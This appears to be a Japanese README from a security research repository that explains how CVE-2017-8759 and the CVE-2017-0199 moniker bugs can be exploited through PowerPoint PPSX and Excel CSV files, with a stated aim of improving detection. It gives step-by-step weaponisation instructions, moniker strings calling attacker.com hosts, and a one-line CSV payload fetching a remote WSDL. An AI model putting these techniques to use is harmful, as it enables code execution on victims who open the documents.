
このリポジトリには、Microsoft PowerPoint向けCVE-2017-8759のサンプルエクスプロイトと、同様の脆弱性が同じ手法でどのように悪用されたか、また悪用され得るかについての説明が含まれています。
このリポジトリを公開する目的は、防御側が現在認識していない可能性のある代替的な悪用手法に注目を集めることです。これらの代替手法に焦点を当てることで、防御側が堅牢な検出を実装し、誤検知(他のモニカーエクスプロイトをCVE-2017-0199と誤って識別するケース)と見逃し(RTF検出のみに焦点が当てられているケース)の両方を回避できるようになることを願っています。
4月に、未パッチの新しい脆弱性が実環境で悪用されているというニュースを聞いたとき、私は、脆弱性が公開される前に検出ルールを作成できるよう、エクスプロイトの再現を試みました。しかし、当時頼りにできたのは、FireEyeとMcAfeeのブログ記事に記載された脆弱性の説明だけでした。公開されている詳細情報が不足していたため、結局私は、実環境で確認された「RTF URLモニカー」エクスプロイトで使用された方法とは(結果的に)まったく異なる方法を用いて脆弱性を悪用することになりました。
約1か月後、Haifei Li氏は、2017年1月に特定して報告していた2つ目の脆弱性(別名「PPSXスクリプトモニカー」)を、自身のSyScan360講演で取り上げました。これも同じCVE-2017-0199パッチで修正されましたが、PPSXファイル形式を用いて悪用されました(作者自身と、後に実環境でも)。現時点では、PPSXを介してURLモニカーのバグを悪用した実環境での攻撃は把握していません。ただし、両方のバグが同じCVEで修正されたため、これらのエクスプロイトの検出に関して混乱がありました(今もあります)(詳細は後述)。
時は進み2017年9月、FireEyeはMicrosoft WordでRTF形式を使用するさらに別の脆弱性を発見しました。これをきっかけに、新しい「SOAPモニカー」バグが同じPPSX手法でも悪用可能かどうかを調査するため、以前の「PPSX URLモニカー」エクスプロイトを再検討しました。
前述のとおり、以前の脆弱性(CVE-2017-0199)は実際には2つの別々の脆弱性であり、Microsoftはこれらを同じCVE番号でパッチしました。1つ目(別名「URLモニカー」バグ)はRTFを使用して悪用されましたが、2つ目(別名「スクリプトモニカー」バグ)はまったく異なる手法を使用し、OOXML形式、具体的にはPPSXを使用して悪用されました。
以前にも述べたように、OOXML手法はスクリプトモニカーの脆弱性に固有のものではなく、「URLモニカー」、「スクリプトモニカー」、そして新しい「SOAPモニカー」の脆弱性を悪用するためにも使用できます。
OOXMLでの悪用はかなり単純で、脆弱なオブジェクトを自動的にアクティブ化させるためにいくつかのトリックを利用します。最初にURLモニカーエクスプロイトを説明し、その後、スクリプトモニカーとSOAPモニカーの両方(そして将来的にはさらに多くのもの)で動作するように更新する方法を説明します。
まず、ファイルへのリンクを埋め込む必要があります(StdOleLink、またはOLE2Linkと呼ばれます)。私のエクスプロイトでは、下記のようにPowerPointファイルへのリンクを使用しました。これは、後でモニカーをアクティブ化するために必要です。

リンクが配置されたら、モニカー文字列を含むようにパスを変更する必要があります。「URLモニカー」バグの場合は、HTAファイルへのURLを直接追加するだけで済みます(例:「http://attacker.com/evil.hta」)。スクリプトモニカーバージョンでは、「script:https://attacker.com/evil.sct」という文字列を使用できます。リンクされたオブジェクトへのファイルパスは、次の場所に保存されています:
ppt\slides\_rels\slide1.xml.rels
これをモニカー文字列に変更するだけで、リンクされたオブジェクトがアクティブ化されたときに脆弱性をトリガーできます。ただし、別のトリックを使用しない限り、これは自動的には発生しません。
オブジェクトを自動的にアクティブ化するには、「OLE Verb」と呼ばれるものを使用できます。簡単に言うと、これはPowerPointにオブジェクトを「アクティブ化」させ、IMoniker::BindToObject()メソッドを呼び出し、最終的にコードが実行されるようにするものです(モニカーによって、この後の経路は異なります)。
OLE Verbを使用するには、埋め込まれたオブジェクトを選択して、次の場所に移動します:
Animations -> Add Animation -> OLE Action Verbs -> Open
OLE Verbアニメーションが作成されたら、「Start: with previous」(直前の動作と同時に開始)を選択することで、スライドショーが開始されるとすぐにオブジェクトがアクティブ化されるようにできます。
この時点で、ドキュメントをPPTXとして保存して開くと、リンクを更新するかどうかのプロンプトが表示されます。これはエクスプロイトのシナリオでは望ましくありません。
これを回避するには、代わりにファイルをPPSX(PowerPointスライドショー)ファイルとして保存するだけです。これにより、開いたときにスライドショーが自動的に開始され(それによってOLE Verbがトリガーされてコードが実行されます)。
FireEyeのブログ記事で説明されているように、この脆弱性は実際にはOffice自体ではなく.NET Frameworkに存在します。これは、複数のアドレス定義を含むWSDLファイルを解析する際のコードインジェクションの問題によるものです。CRLFシーケンスが挿入されると、生成されたC#ファイルに任意のコードを追加することが可能になり、そのコードは後でDLLにコンパイルされ、Officeアプリケーションによってロードされます。
このバグ自体は、System.Runtime.RemotingのWsdlParserクラスにあるIsValidUrlメソッド内に存在します。CVE-2017-8759パッチの前は、このメソッドはCRLF文字をチェックせず、(文字列が適切に引用符で囲まれていることを確認した後に)サニタイズされていない文字列を単純に返し、それが.csファイルに書き出されてcsc.exeによってコンパイルされていました。つまり、攻撃者が\r\nを含むURLを渡した場合、生成されたC#ファイルに任意のコードを注入できる可能性があります。CRLFインジェクションが機能する理由は、通常、複数のアドレス定義を含むWSDLファイルが解析されるとき、PrintClientProxyメソッドが下記のように後続の定義をコメントアウトしようとするためです。
パッチ適用前のIsValidUrl:

PrintClientProxy:

ここでの問題は、IsValidUrlがコメントアウトされた行に追記する前に、2番目のアドレスURLに対して依然として呼び出されることです。攻撃者が2番目のアドレス定義にCRLF文字を追加すると、コードがIsValidUrlによって解析される際に、コメントアウトされた行から抜け出して独自のC#コードを注入できます。
CVE-2017-8759パッチの後、WsdlParserクラスにはTransliterateStringという新しいメソッドが含まれるようになりました。現在、IsValidUrlが呼び出されると、コードはまずブール値のAppSettings.AllowUnsanitizedWSDLUrlsが設定されているかどうかを確認します。これがtrueに設定されている場合、コードはパッチ前と同じ経路をたどります(CRLFインジェクションが可能)。ただし、これがfalseに設定されている場合、新しいTransliterateStringメソッドが呼び出されます。この新しいメソッドは、非アルファベット文字をエスケープされたユニコードとしてエンコードするだけで、改行文字を注入できないようにします。
パッチ適用後のIsValidUrl:

TransliterateString:

パッチを示すために、C#で簡単なテストハーネスを作成し、CRLF文字を含む文字列の解析を試みました。その出力を以下に示します。パッチ適用後のメソッドが呼び出され、かつAllowUnsanitizedWSDLUrlsがfalseに設定されている場合、文字列がエンコードされることに注意してください。

この脆弱性の悪用方法を調査する際、Officeの外部でのコード実行をテストするためにテストハーネスを作成しました。これにはJScriptとGetObjectメソッドを使用しましたが、soapsuds.exeを使用することもできます。これはマルウェアサンプルのWSDLファイルを使用してテストし、その動作を調査して脆弱性を確認しました。
GetObjectでエクスプロイトが動作するようになったら、前述のようにrelsファイルを変更して、「soap:wsdl=http://attacker.com/evil.whatever」という形式のSOAPモニカーを含めるだけでした。
エクスプロイトを作成した後、(以前のサンプルと同様に)Virus Totalにアップロードしたところ、意外な結果になりました。1つのAVエンジンだけで検出され、しかもCVE-2017-0199として誤って識別されました。アップロードした別のサンプルもCVE-2017-0199としてタグ付けされているようでした。以前のエクスプロイトとの類似点を考えると理解できることですが、これが混乱を招く可能性、あるいは最悪の場合、新たに発見されたモニカーエクスプロイトが、古くてパッチ適用済みの脆弱性として片付けられて見逃される可能性があることが懸念されます。
まず、エクスプロイトファイルと同じフォルダで、ローカルにWebサーバーを起動します:
python -m SimpleHTTPServer 80
次に、exploit.ppsxファイルを開きます。うまくいけば、PowerPointがローカルファイルサーバーからlogo.pngとw00t.htaの両方を取得し、calc.exeが実行されるはずです。

PPSXエクスプロイトについてTwitterに投稿した後、Jacob Soo氏が私に連絡をくれ、Microsoft Excelでこの脆弱性を悪用してみることを提案してきました。試してみたところ、案の定、彼の言うとおりでした。1回のプロンプトだけでcalc.exeを起動できました。
以前に指摘されたように、これは興味深いことです。CSV(およびSLKファイル)は保護ビューをトリガーしません。つまり、インターネット上の場所からRTF、PPSX、またはCSV/SLKファイルのいずれを送信された場合でも、ユーザーに表示されるプロンプトの数はまったく同じです(前者が保護ビューをトリガーするため)。さらに、プレーンテキストで通常は比較的无害であるため、CSVファイルは境界防御(Webプロキシやメールスパムフィルターなど)をすり抜けることがよくあります。
Excelでこのバグを悪用するのは、WSDLファイルへのリンクを含めるだけの簡単さです。下記の例では、ProgID「GC」を使用しています(私が見つけた中で最も短いものだったからです)。ただし、モニカーをアクティブ化するためには、任意の有効なProgIDを使用できます。
=GC|'soap:wsdl=https://git.io/v5DMF '!''''

上記の文字列をCSVとして保存するだけで脆弱性を悪用できます。ツイートできるほど短いのです!さらに、短いがゆえに検出シグネチャの作成が難しくなるため(不可能ではありませんが)、今後Excelベースの攻撃を特定できるように、防御側に注目してもらう価値があると感じています。
Microsoftは2017年9月12日にこの脆弱性に対するパッチをリリースしました。
CVE-2017-8759亜種向けのYaraルールが、Florian Roth氏とSecurity Doggo氏によって公開されています。
私も以下を作成しました: